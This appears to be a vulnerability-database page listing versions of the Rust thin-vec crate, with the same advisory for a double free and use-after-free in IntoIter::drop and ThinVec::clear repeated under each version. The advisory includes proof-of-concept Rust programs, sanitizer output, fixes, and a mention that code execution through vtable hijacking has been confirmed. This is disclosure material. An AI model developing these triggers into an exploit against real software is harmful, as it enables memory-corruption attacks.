struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification:

CWE-415: Double Free
CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Fixed in


          0.2.16

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 05, 2022

0.2.9 unknown

1 CVE

CVE-2026-6654 GHSA-xphw-cqx3-667j RUSTSEC-2026-0103 Apr 15, 2026

thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

7.3 / 10

High

Local Low None None Unchanged Low Low High

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — `ThinVec::clear`

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: `IntoIter::drop`

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: `ThinVec::clear`

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification:

CWE-415: Double Free
CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Fixed in


          0.2.16

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 02, 2022

0.2.8 unknown

1 CVE

CVE-2026-6654 GHSA-xphw-cqx3-667j RUSTSEC-2026-0103 Apr 15, 2026

thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

7.3 / 10

High

Local Low None None Unchanged Low Low High

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — `ThinVec::clear`

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: `IntoIter::drop`

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: `ThinVec::clear`

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification:

CWE-415: Double Free
CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Fixed in


          0.2.16

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 23, 2022

0.2.7 unknown

1 CVE

CVE-2026-6654 GHSA-xphw-cqx3-667j RUSTSEC-2026-0103 Apr 15, 2026

thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

7.3 / 10

High

Local Low None None Unchanged Low Low High

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — `ThinVec::clear`

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: `IntoIter::drop`

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: `ThinVec::clear`

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification:

CWE-415: Double Free
CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Fixed in


          0.2.16

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 19, 2022

0.2.6 unknown

1 CVE

CVE-2026-6654 GHSA-xphw-cqx3-667j RUSTSEC-2026-0103 Apr 15, 2026

thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

7.3 / 10

High

Local Low None None Unchanged Low Low High

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — `ThinVec::clear`

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: `IntoIter::drop`

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: `ThinVec::clear`

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification:

CWE-415: Double Free
CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Fixed in


          0.2.16

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 18, 2022

0.2.5 unknown

1 CVE

CVE-2026-6654 GHSA-xphw-cqx3-667j RUSTSEC-2026-0103 Apr 15, 2026

thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

7.3 / 10

High

Local Low None None Unchanged Low Low High

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — `ThinVec::clear`

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: `IntoIter::drop`

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: `ThinVec::clear`

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification:

CWE-415: Double Free
CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Fixed in


          0.2.16

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 17, 2022

0.2.4 unknown

1 CVE

CVE-2026-6654 GHSA-xphw-cqx3-667j RUSTSEC-2026-0103 Apr 15, 2026

thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

7.3 / 10

High

Local Low None None Unchanged Low Low High

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — `ThinVec::clear`

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: `IntoIter::drop`

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: `ThinVec::clear`

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
